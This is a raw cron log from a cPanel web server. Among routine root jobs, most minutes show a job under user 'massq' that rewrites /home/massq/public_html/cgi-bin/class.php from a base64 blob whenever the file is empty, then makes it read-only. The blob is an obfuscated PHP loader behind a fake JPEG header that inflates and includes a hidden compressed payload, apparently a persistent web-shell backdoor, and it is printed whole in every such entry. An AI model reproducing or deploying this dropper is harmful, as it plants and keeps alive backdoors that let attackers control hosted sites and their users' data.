Sep 12 03:30:01 server CROND[2666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:30:01 server CROND[2667]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:31:01 server CROND[3511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:31:01 server CROND[3512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:31:01 server CROND[3513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:32:01 server CROND[3876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:32:01 server CROND[3877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:32:01 server CROND[3878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:33:01 server CROND[4354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:33:01 server CROND[4355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:33:01 server CROND[4356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:34:01 server CROND[4733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:34:01 server CROND[4734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:34:01 server CROND[4732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:35:01 server CROND[5117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:35:01 server CROND[5119]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 03:35:01 server CROND[5120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:35:01 server CROND[5123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:35:01 server CROND[5124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:35:01 server CROND[5125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:35:01 server CROND[5126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:35:01 server CROND[5128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:35:01 server CROND[5127]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:36:01 server CROND[5953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:36:01 server CROND[5954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:36:01 server CROND[5955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:37:01 server CROND[6371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:37:01 server CROND[6372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:37:01 server CROND[6375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:38:01 server CROND[6831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:38:01 server CROND[6832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:38:01 server CROND[6833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:39:01 server CROND[7194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:39:01 server CROND[7195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:39:01 server CROND[7197]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 03:39:01 server CROND[7198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:40:01 server CROND[7572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:40:01 server CROND[7573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:40:01 server CROND[7577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:40:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:40:01 server CROND[7580]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:40:01 server CROND[7582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:40:01 server CROND[7581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:40:01 server CROND[7579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:41:01 server CROND[8383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:41:01 server CROND[8384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:41:01 server CROND[8385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:42:01 server CROND[8749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:42:01 server CROND[8752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:42:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
